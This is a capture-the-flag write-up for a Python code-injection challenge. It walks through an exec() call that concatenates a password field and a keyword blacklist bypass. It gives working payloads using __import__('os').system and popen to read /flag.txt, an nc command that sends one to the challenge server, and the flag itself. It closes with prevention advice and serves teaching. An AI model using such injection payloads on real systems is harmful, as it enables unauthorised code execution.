- Published on
PCC CTF - Python Injection Challenge Writeup
- Authors

- Name
- Muhammad Huzaifa
PCC CTF - Misc-inject Writeup
Challenge Description
Challenge: Misc-inject
Description: inject some adrenaline into the arena!
Format: PCC{}
Connection: nc c1.arena.airoverflow.com 29106
Flag
PCC{`B4S1C_PYTH0N_INJ3CTI0N_WOrJpbSonSN`}
Initial Analysis
The challenge provides two files:
inject.py- The main Python applicationDockerfile- Container configuration
Let's examine the Python code to understand the vulnerability.
Code Analysis
Key Functions
validate_input()- Basic input validation with a blacklistauthenticate_user()- Contains the vulnerable code injection pointmain()- Main application flow
The Vulnerability
The critical vulnerability is in the authenticate_user() function at line 86:
def authenticate_user(username, password):
"""Authenticate user with enhanced feedback"""
print("\nš Verifying credentials...")
time.sleep(random.uniform(0.5, 1.5))
passwordCorrect = False
authenticated_user = None
for user in users:
try:
exec('if (username == user["username"]) and ("'+password+'" == user["password"]): passwordCorrect = True; authenticated_user = user')
except Exception as e:
print("Authentication system error occurred!")
print("Please try again...")
return False, None
return passwordCorrect, authenticated_user
The Problem: The password variable is directly concatenated into the exec() statement without proper sanitization or escaping. This allows for arbitrary Python code injection.
Input Validation Bypass
The validate_input() function has a blacklist that blocks certain keywords:
blacklist = ["open", "eval", "exec", "compile"]
for word in blacklist:
if word in password.lower():
print("Access Denied: Suspicious input detected!")
print("Hint: Try a different approach...")
return False
However, this blacklist can be easily bypassed using alternative methods like __import__().
Exploitation Strategy
Step 1: Understanding the Exec Statement
The exec statement structure is:
exec('if (username == user["username"]) and ("'+password+'" == user["password"]): passwordCorrect = True; authenticated_user = user')
When we inject a password, it becomes:
exec('if (username == user["username"]) and ("[INJECTED_CODE]" == user["password"]): passwordCorrect = True; authenticated_user = user')
Step 2: Crafting the Payload
To successfully exploit this, we need to:
- Close the string properly
- Inject arbitrary code
- Ensure the condition evaluates to True (or bypass it entirely)
Final Payload:
") or (__import__("os").system("cat /flag.txt") or True) or ("
This payload:
- Closes the first string with
" - Uses
orto create an alternative condition - Executes
__import__("os").system("cat /flag.txt")to read the flag - Uses
or Trueto ensure the condition evaluates to True - Closes with another string to maintain syntax
Step 3: Bypassing the Blacklist
The blacklist blocks: open, eval, exec, compile
We bypass this by using __import__("os").system() instead of the blocked functions.
Exploitation Process
Local Testing
First, I tested the payload locally to ensure it worked:
python3 inject.py
# Input: admin
# Input: ") or (__import__("os").system("cat /flag.txt") or True) or ("
The local test showed the injection was working (though /flag.txt didn't exist locally).
Remote Exploitation
Connected to the remote server and injected the payload:
echo -e "admin\n\") or (__import__(\"os\").system(\"cat /flag.txt\") or True) or (\"\n" | nc c1.arena.airoverflow.com 29106
Result: The flag was successfully extracted and displayed in the output.
Technical Details
Why This Works
- String Concatenation Vulnerability: The password is directly inserted into the exec statement without proper escaping
- Blacklist Bypass: Using
__import__()instead of blocked functions - Condition Manipulation: Using
orlogic to ensure code execution regardless of authentication success
The Exec Statement Breakdown
Original:
exec('if (username == user["username"]) and ("'+password+'" == user["password"]): passwordCorrect = True; authenticated_user = user')
With our payload:
exec('if (username == user["username"]) and ("") or (__import__("os").system("cat /flag.txt") or True) or ("" == user["password"]): passwordCorrect = True; authenticated_user = user')
This evaluates to:
if (username == user["username"]) and (False) or (True) or (False): passwordCorrect = True; authenticated_user = user
Since or True makes the entire condition True, the code executes successfully.
Prevention
To prevent this vulnerability:
- Never use
exec()with user input - Use parameterized queries/prepared statements
- Implement proper input validation and sanitization
- Use safer alternatives like
ast.literal_eval()if evaluation is necessary - Implement proper authentication mechanisms
Alternative Exploitation Methods
Other possible payloads:
") and (__import__("subprocess").run(["cat", "/flag.txt"]) or True) and ("") or (print(open("/flag.txt").read()) or True) or ("(if blacklist didn't exist)") or (__import__("os").popen("cat /flag.txt").read()) or True) or ("
Conclusion
This challenge demonstrates a classic Python code injection vulnerability where user input is directly inserted into an exec() statement. The key lessons are:
- Never trust user input
- Blacklists are easily bypassed
- Use proper input validation and sanitization
- Avoid dangerous functions like
exec()with user data
The flag PCC{B4S1C_PYTH0N_INJ3CTI0N_WOrJpbSonSN} confirms this was indeed a basic Python injection challenge.